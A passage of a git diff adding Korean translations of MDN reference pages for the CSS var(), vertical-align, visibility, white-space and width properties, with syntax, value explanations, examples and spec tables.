+<p><strong>참고:</strong> 대체값 구문은 사용자 지정 속성 구문과 동일하게 쉼표를 허용합니다. 그러므로 <code>var(--foo, red, blue)</code>의 대체값은 쉼표까지 포함한 <code>red, blue</code>입니다. 말하자면 첫 번째 쉼표의 뒤쪽은 모두 대체값이 되는 것입니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;custom-property-name&gt;</code></dt>
+ <dd>두 개의 대시로 시작하는, 사용자 지정 속성의 이름을 나타내는 식별자.</dd>
+ <dt><code>&lt;declaration-value&gt;</code></dt>
+ <dd>현재 맥락에서, 주어진 사용자 지정 속성이 유효하지 않으면 대신 사용할 대체값. 새 줄, 짝 없이 닫는 괄호(<code>)</code>, <code>]</code>, <code>}</code>) 세미콜론, 느낌표 등 특별한 의미를 가진 문자를 제외한 모든 문자를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">:root {
+ --main-bg-color: pink;
+}
+
+body {
+ background-color: var(--main-bg-color);
+}
+</pre>
+
+<pre class="brush: css">/* Fallback */
+/* In the component’s style: */
+.component .header {
+ color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */
+}
+
+.component .text {
+ color: var(--text-color, black);
+}
+
+/* In the larger application’s style: */
+.component {
+ --text-color: #080;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Variables', '#using-variables', 'var()')}}</td>
+ <td>{{Spec2('CSS3 Variables')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.custom-property.var")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("env","env(…)")}} – 사용자 에이전트가 통제하는 읽기 전용 환경 변수.</li>
+ <li><a href="/ko/docs/Web/CSS/Using_CSS_variables">CSS 변수 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/vertical-align/index.html b/files/ko/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..7e718efc4d
--- /dev/null
+++ b/files/ko/web/css/vertical-align/index.html
@@ -0,0 +1,246 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/vertical-align
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>vertical-align</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 inline 또는 table-cell box에서의 수직 정렬을 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* keyword values */
+vertical-align: baseline;
+vertical-align: sub;
+vertical-align: super;
+vertical-align: text-top;
+vertical-align: text-bottom;
+vertical-align: middle;
+vertical-align: top;
+vertical-align: bottom;
+
+/* &lt;length&gt; values */
+vertical-align: 10em;
+vertical-align: 4px;
+
+/* &lt;percentage&gt; values */
+vertical-align: 20%;
+
+/* Global values */
+vertical-align: inherit;
+vertical-align: initial;
+vertical-align: unset;
+</pre>
+
+<p>vertical-align 속성은 두 컨텍스트에서 사용될 수 있습니다:</p>
+
+<ul>
+ <li>엘리먼트의 box를 이것이 포함된 line box 내부에서 수직 정렬하고자 할 때. 예를 들어서, {{HTMLElement("img")}} 엘리먼트를 텍스트 엘리먼트의 라인 속에서 정렬할 때 쓰일 수 있습니다:</li>
+</ul>
+
+<div id="vertical-align-inline">
+<pre class="hidden brush: html">&lt;p&gt;
+top:&lt;img style="vertical-align:top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+middle:&lt;img style="vertical-align:middle" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+bottom:&lt;img style="vertical-align:bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+super:&lt;img style="vertical-align:super" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+sub:&lt;img style="vertical-align:sub" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+&lt;p&gt;
+text-top:&lt;img style="vertical-align:text-top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+text-bottom:&lt;img style="vertical-align:text-bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+0.2em:&lt;img style="vertical-align:0.2em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-1em:&lt;img style="vertical-align:-1em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+20%:&lt;img style="vertical-align:20%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-100%:&lt;img style="vertical-align:-100%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+
+</pre>
+
+<pre class="hidden brush: css">#* {
+ box-sizing: border-box;
+}
+
+img {
+ margin-right: 0.5em;
+}
+
+p {
+ height: 3em;
+ padding: 0 .5em;
+ font-family: monospace;
+ text-decoration: underline overline;
+ margin-left: auto;
+ margin-right: auto;
+ width: 80%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-inline", 1200, 120, "", "", "example-outcome-frame")}}</p>
+
+<ul>
+ <li>table의 한 셀에서 포함하고 있는 내용을 수직 정렬할 때:</li>
+</ul>
+
+<div id="vertical-align-table">
+<pre class="hidden brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td style="vertical-align: baseline"&gt;baseline&lt;/td&gt;
+ &lt;td style="vertical-align: top"&gt;top&lt;/td&gt;
+ &lt;td style="vertical-align: middle"&gt;middle&lt;/td&gt;
+ &lt;td style="vertical-align: bottom"&gt;bottom&lt;/td&gt;
+ &lt;td&gt;
+ &lt;p&gt;There is a theory which states that if ever anyone discovers exactly what the Universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.&lt;/p&gt;
+&lt;p&gt;There is another theory which states that this has already happened.&lt;/p&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+</pre>
+
+<pre class="hidden brush: css">table {
+ margin-left: auto;
+ margin-right: auto;
+ width: 80%;
+}
+
+table, th, td {
+ border: 1px solid black;
+}
+
+td {
+ padding: 0.5em;
+ font-family: monospace;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-table", 1200, 210, "", "", "example-outcome-frame")}}</p>
+
+<p><code>vertical-align은 오로지 inline과 table-cell 엘리먼트에만 적용된다는 것에 주의하세요: 이 속성을</code> <a href="/en-US/docs/Web/HTML/Block-level_elements">block level 엘리먼트</a>에 사용할 수 없습니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<p>이 속성은 아래의 키워드들로 지정됩니다.</p>
+
+<h3 id="Values_(inline_elements에서)">Values (inline elements에서)</h3>
+
+<p><em>주로 부모 엘리먼트에 대하여 상대적으로 수직정렬하는 값들:</em></p>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dd>부모의 baseline에 맞추어 해당 엘리먼트의 baseline 을 정렬합니다.  몇몇 <a href="/en-US/docs/Web/CSS/Replaced_element">replaced elements</a>의 베이스라인은 예를들면{{HTMLElement("textarea")}}은 HTML 명세에 정의되어 있지 않으므로, 이 키워드는 브라우저마다 다른 결과를 보여줍니다.</dd>
+ <dt><code>sub</code></dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 subscript-baseline으로 정렬합니다.</dd>
+ <dt><code>super</code></dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 superscript-baseline으로 정렬합니다.</dd>
+ <dt><code>text-top</code></dt>
+ <dd>해당 엘리먼트의 top을 부모 엘리먼트 폰트의 top으로 정렬합니다.</dd>
+ <dt><code>text-bottom</code></dt>
+ <dd>해당 엘리먼트의 bottom을 부모 엘리먼트 폰트의 bottom으로 정렬합니다.</dd>
+ <dt><code>middle</code></dt>
+ <dd>해당 엘리먼트의 middle을 부모의 baseline + x-height / 2 로 정렬합니다.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 baseline에서 주어진 길이만큼 위로 정렬합니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>&lt;length&gt; value와 마찬가지로 해당 엘리먼트의 baseline을 부모의 baseline에서 {{Cssxref("line-height")}}의 퍼센트로 주어진 퍼센트만큼 위로 정렬합니다.</dd>
+</dl>
+
+<p>(&lt;length&gt; 와 &lt;percentage&gt;에 대해서 음수 값이 허용됩니다.)</p>
+
+<p><em>다음 두 value는 부모가 아닌 전체 라인에 대해,수직정렬하는 값입니다:</em></p>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>해당 엘리먼트의 top과 이것의 자손들의 top을 전체 라인의 top으로 정렬합니다.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>해당 엘리먼트의 bottom과 이것의 자손들의 bottom을 전체 라인의 bottom으로 정렬합니다.</dd>
+</dl>
+
+<p>Baseline이 없는 엘리먼트에 대해서는 bottom margin edge가 baseline을 대신하여 사용됩니다.</p>
+
+<h3 id="Values_(table_cells에서)">Values (table cells에서)</h3>
+
+<dl>
+ <dt><code>baseline</code> (<code>sub</code>, <code>super</code>, <code>text-top</code>, <code>text-bottom</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>)</dt>
+ <dd> 셀의 baseline을 같은 행의 다른 cell들의 baseline과 정렬합니다. </dd>
+ <dt><code>top</code></dt>
+ <dd>셀의 top padding edge를 행의 top으로 정렬합니다.</dd>
+ <dt><code>middle</code></dt>
+ <dd>셀의  padding box의 중심을 행에서 중앙 정렬합니다.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>셀의 bottom padding edge를 행의 bottom으로 정렬합니다.</dd>
+</dl>
+
+<p>음수 값이 허용됩니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;An &lt;img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a default alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="top" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a text-top alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="bottom" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a text-bottom alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="middle" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a middle alignment.&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">img.top { vertical-align: text-top; }
+img.bottom { vertical-align: text-bottom; }
+img.middle { vertical-align: middle; }
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'vertical-align')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>vertical-align</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visudet.html#propdef-vertical-align', 'vertical-align')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Add the {{cssxref("&lt;length&gt;")}} value and allows it to be applied to element with a {{cssxref("display")}} type of <code>table-cell</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#vertical-align', 'vertical-align')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.vertical-align")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("line-height")}}, {{Cssxref("text-align")}}, {{Cssxref("margin")}}</li>
+ <li><a href="http://phrogz.net/css/vertical-align/index.html">Understanding <code>vertical-align</code>, or "How (Not) To Vertically Center Content"</a></li>
+ <li><a href="http://christopheraue.net/2014/03/05/vertical-align/">All You Need To Know About Vertical-Align</a></li>
+</ul>
diff --git a/files/ko/web/css/visibility/index.html b/files/ko/web/css/visibility/index.html
new file mode 100644
index 0000000000..67f982daea
--- /dev/null
+++ b/files/ko/web/css/visibility/index.html
@@ -0,0 +1,176 @@
+---
+title: visibility
+slug: Web/CSS/visibility
+tags:
+ - CSS
+ - CSS Box Model
+ - CSS Property
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/visibility
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>visibility</code></strong> CSS 속성은 문서의 레이아웃을 변경하지 않고 요소를 보이거나 숨깁니다.</span> <code>visibility</code>로 {{htmlelement("table")}}의 행이나 열을 숨길 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/visibility.html")}}</div>
+
+
+
+<p>문서를 숨기고, <strong>레이아웃에서도 제외</strong>하려면, <code>visibility</code>를 사용하는 대신 {{cssxref("display")}} 속성을 <code>none</code>으로 설정하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+visibility: visible;
+visibility: hidden;
+visibility: collapse;
+
+/* 전역 값 */
+visibility: inherit;
+visibility: initial;
+visibility: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>요소가 보임.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>요소가 숨겨짐(그려지지 않음). 레이아웃에는 숨겨지지 않았을 때와 동일한 영향을 줍니다. <code>visibility</code>를 <code>visible</code>로 설정한 자손은 화면에 보입니다. 숨겨진 요소는 포커스(<a href="/ko/docs/Web/HTML/Global_attributes/tabindex">탭 인덱스</a>로 탐색 등)를 받을 수 없습니다.</dd>
+ <dt><code>collapse</code></dt>
+ <dd>
+ <ul>
+ <li>{{HTMLElement("table")}}의 행, 열, 행 그룹과 열 그룹에 적용하면 {{cssxref("display")}}를 <code>none</code>으로 설정한 것과 동일하게 요소를 숨기고 차지하던 공간도 제거합니다. 그러나 다른 행(열)의 크기는 <code>collapse</code>를 적용한 행(열)이 보이는 것 처럼 취급해 계산합니다. 따라서 표의 너비나 높이의 재계산 없이 빠르게 행이나 열을 제거할 수 있습니다.</li>
+ <li>플렉스 아이템에 적용하면 요소를 숨기고 차지하던 공간도 제거합니다.</li>
+ <li><a href="/ko/docs/Mozilla/Tech/XUL">XUL</a> 요소에 적용하면 다른 스타일과 관계 없이 크기의 계산값으로 항상 0을 사용합니다. 그러나 {{cssxref("margin")}}은 바뀌지 않습니다.</li>
+ <li>다른 요소에서는 <code>hidden</code>과 동일합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="보간">보간</h2>
+
+<p>가시성은 <strong>보여짐</strong>과 <strong>보이지 않음</strong> 사이에서 보간할 수 있습니다. 따라서 시작이나 종료 값이 <code>visible</code>이 아니면 보간할 수 없습니다. 가시성 값은 이산값을 사용하며 <code>0</code>은 <code>hidden</code>, <code>0</code> 초과 <code>1</code> 이하의 모든 값은 <code>visible</code>에 맵핑됩니다. 범위 밖의 값(<code>cubic-bezier()</code> 함수의 y값이 [0, 1]을 벗어날 때만 트랜지션의 시작과 종료 시 발생)은 <code>0</code>과 <code>1</code> 중 더 가까운 값으로 취급합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="visible"&gt;첫 번째 문단은 보입니다.&lt;/p&gt;
+&lt;p class="not-visible"&gt;두 번째 문단은 보이지 않습니다.&lt;/p&gt;
+&lt;p class="visible"&gt;세 번째 문단은 보입니다. 두 번째 문단이 여전히 공간을 차지하고 있어요.&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.visible {
+ visibility: visible;
+}
+
+.not-visible {
+ visibility: hidden;
+}
+</pre>
+
+<p>{{EmbedLiveSample('기본_예제')}}</p>
+
+<h3 id="표_예제">표 예제</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td&gt;1.1&lt;/td&gt;
+ &lt;td class="collapse"&gt;1.2&lt;/td&gt;
+ &lt;td&gt;1.3&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr class="collapse"&gt;
+ &lt;td&gt;2.1&lt;/td&gt;
+ &lt;td&gt;2.2&lt;/td&gt;
+ &lt;td&gt;2.3&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;3.1&lt;/td&gt;
+ &lt;td&gt;3.2&lt;/td&gt;
+ &lt;td&gt;3.3&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.collapse {
+ visibility: collapse;
+}
+
+table {
+ border: 1px solid red;
+}
+
+td {
+ border: 1px solid gray;
+}
+</pre>
+
+<p>{{EmbedLiveSample('표_예제')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>visibility</code> 값을 <code>hidden</code>으로 설정한 요소는 <a href="/ko/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">접근성 트리</a>에서 제외됩니다. 즉 해당 요소와, 그 모든 자손 요소는 스크린 리더가 읽지 않습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>일부 현대 브라우저에서는 <code>visibility: collapse</code>를 지원하지 않거나 잘못 지원합니다. 따라서 표의 행과 열이 아닌 요소에 사용했을 때 <code>visibility: hidden</code>과 똑같이 취급하지 않을 수도 있습니다.</li>
+ <li><code>visibility: collapse</code>를 적용한 칸에 중첩해서 다른 표가 존재하면 바깥 표의 레이아웃이 바뀔 수도 있습니다. 이를 방지하려면 중첩된 표에 <code>visibility: visible</code>을 명시해야 합니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#visibility-collapse', 'visibility')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Defines the <code>collapse</code> value as it applies to flex items.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#visibility-prop', 'visibility')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>No changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'visibility')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>visibility</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visufx.html#visibility', 'visibility')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.visibility")}}</p>
diff --git a/files/ko/web/css/white-space/index.html b/files/ko/web/css/white-space/index.html
new file mode 100644
index 0000000000..21edd07317
--- /dev/null
+++ b/files/ko/web/css/white-space/index.html
@@ -0,0 +1,242 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>white-space</code></strong> 속성은 요소가 공백 문자를 처리하는 법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/white-space.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> 단어 안에서 줄이 바뀌기를 원하는 경우 {{CSSxRef("overflow-wrap")}}, {{CSSxRef("word-break")}}, {{CSSxRef("hyphens")}}를 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+white-space: break-spaces;
+
+/* Global values */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<p><code>white-space</code> 속성은 다음 목록의 키워드 값 중 하나를 사용해 설정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>연속 공백을 하나로 합침. 개행 문자도 다른 공백 문자와 동일하게 처리합니다. 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>nowrap</code></dt>
+ <dd>연속 공백을 하나로 합침. 줄 바꿈은 {{htmlelement("br")}} 요소에서만 일어납니다.</dd>
+ <dt><code>pre</code></dt>
+ <dd>연속 공백 유지. 줄 바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서만 일어납니다.</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>연속 공백 유지. 줄 바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서 일어나며, 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>연속 공백을 하나로 합침. 줄바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서 일어나며, 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>break-spaces</code></dt>
+ <dd>다음 차이점을 제외하면 <code>pre-wrap</code>과 동일합니다.
+ <ul>
+ <li>연속 공백이 줄의 끝에 위치하더라도 공간을 차지합니다.</li>
+ <li>연속 공백의 중간과 끝에서도 자동으로 줄을 바꿀 수 있습니다.</li>
+ <li>유지한 연속 공백은 <code>pre-wrap</code>과 달리 요소 바깥으로 넘치지 않으며, 공간도 차지하므로 박스의 본질 크기(<code>min-content</code>, <code>max-content</code>)에 영향을 줍니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>다음은 여러가지 <code>white-space</code> 값의 동작을 정리한 표입니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th></th>
+ <th>개행 문자</th>
+ <th>스페이스, 탭</th>
+ <th>자동 줄 바꿈</th>
+ <th>줄 끝의 공백</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th><code>normal</code></th>
+ <td>병합</td>
+ <td>병합</td>
+ <td>예</td>
+ <td>제거</td>
+ </tr>
+ <tr>
+ <th><code>nowrap</code></th>
+ <td>병합</td>
+ <td>병합</td>
+ <td>아니오</td>
+ <td>제거</td>
+ </tr>
+ <tr>
+ <th><code>pre</code></th>
+ <td>유지</td>
+ <td>유지</td>
+ <td>아니오</td>
+ <td>유지</td>
+ </tr>
+ <tr>
+ <th><code>pre-wrap</code></th>
+ <td>유지</td>
+ <td>유지</td>
+ <td>예</td>
+ <td>넘침</td>
+ </tr>
+ <tr>
+ <th><code>pre-line</code></th>
+ <td>유지</td>
+ <td>병합</td>
+ <td>예</td>
+ <td>제거</td>
+ </tr>
+ <tr>
+ <th><code>break-spaces</code></th>
+ <td>유지</td>
+ <td>유지</td>
+ <td>예</td>
+ <td>줄 바꿈</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: css">code {
+ white-space: pre;
+}</pre>
+
+<h3 id="HTMLElementpre_요소_내부의_줄_바꿈">{{HTMLElement("pre")}} 요소 내부의 줄 바꿈</h3>
+
+<pre class="brush: css">pre {
+ word-wrap: break-word; /* IE 5.5-7 */
+ white-space: pre-wrap; /* current browsers */
+}</pre>
+
+<h2 id="실제로_보기">실제로 보기</h2>
+
+<div class="hidden" id="See_it_in_action_LiveSample">
+<pre class="brush: html">&lt;div id="css-code" class="box"&gt;
+ p { white-space:
+ &lt;select&gt;
+ &lt;option&gt;normal&lt;/option&gt;
+ &lt;option&gt;nowrap&lt;/option&gt;
+ &lt;option&gt;pre&lt;/option&gt;
+ &lt;option&gt;pre-wrap&lt;/option&gt;
+ &lt;option&gt;pre-line&lt;/option&gt;
+ &lt;option&gt;break-spaces&lt;/option&gt;
+ &lt;/select&gt; }
+&lt;/div&gt;
+&lt;div id="results" class="box"&gt;
+ &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+ Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+ Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+ Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">.box {
+ width: 300px;
+ padding: 16px;
+ border-radius: 10px;
+}
+
+#css-code {
+ background-color: rgb(220,220,220);
+ font-size: 16px;
+}
+
+#results {
+ background-color: rgb(230,230,230);
+ overflow-x: scroll;
+ height: 400px;
+ white-space: normal;
+ font-size: 14px;
+}</pre>
+
+<pre class="brush: js">var select = document.querySelector("#css-code select");
+var results = document.querySelector("#results p");
+select.addEventListener("change", function(e) {
+ results.setAttribute("style", "white-space: "+e.target.value);
+})</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+ Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+ Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+ Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_결과">CSS + 결과</h3>
+
+<p>{{EmbedLiveSample('See_it_in_action_LiveSample', '100%', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Precises the breaking algorithms.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.white-space")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>단어 안에서의 자동 줄 바꿈 방식을 지정하는 속성: {{CSSxRef("overflow-wrap")}}, {{CSSxRef("word-break")}}, {{CSSxRef("hyphens")}}</li>
+</ul>
diff --git a/files/ko/web/css/width/index.html b/files/ko/web/css/width/index.html
new file mode 100644
index 0000000000..130c81148a
--- /dev/null
+++ b/files/ko/web/css/width/index.html
@@ -0,0 +1,200 @@
+---
+title: width
+slug: Web/CSS/width
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>width</code></strong> 속성은 요소의 너비를 설정합니다. 기본값은 콘텐츠 영역의 너비이지만, {{cssxref("box-sizing")}}이 <code>border-box</code>라면 테두리 영역의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div>
+
+
+
+<p>{{cssxref("min-width")}}와 {{cssxref("max-width")}} 속성은 <code>width</code>를 덮어씁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; */
+width: 300px;
+width: 25em;
+
+/* &lt;percentage&gt; */
+width: 75%;
+
+/* 키워드 */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content(20em);
+width: auto;
+
+/* 전역 값 */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<p><code>width</code> 속성은 다음과 같이 지정합니다.</p>
+
+<ul>
+ <li><code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code> 키워드 중 하나.</li>
+ <li>하나의 <code><a href="#&lt;length>">&lt;length&gt;</a></code> 또는 <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code> 값.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
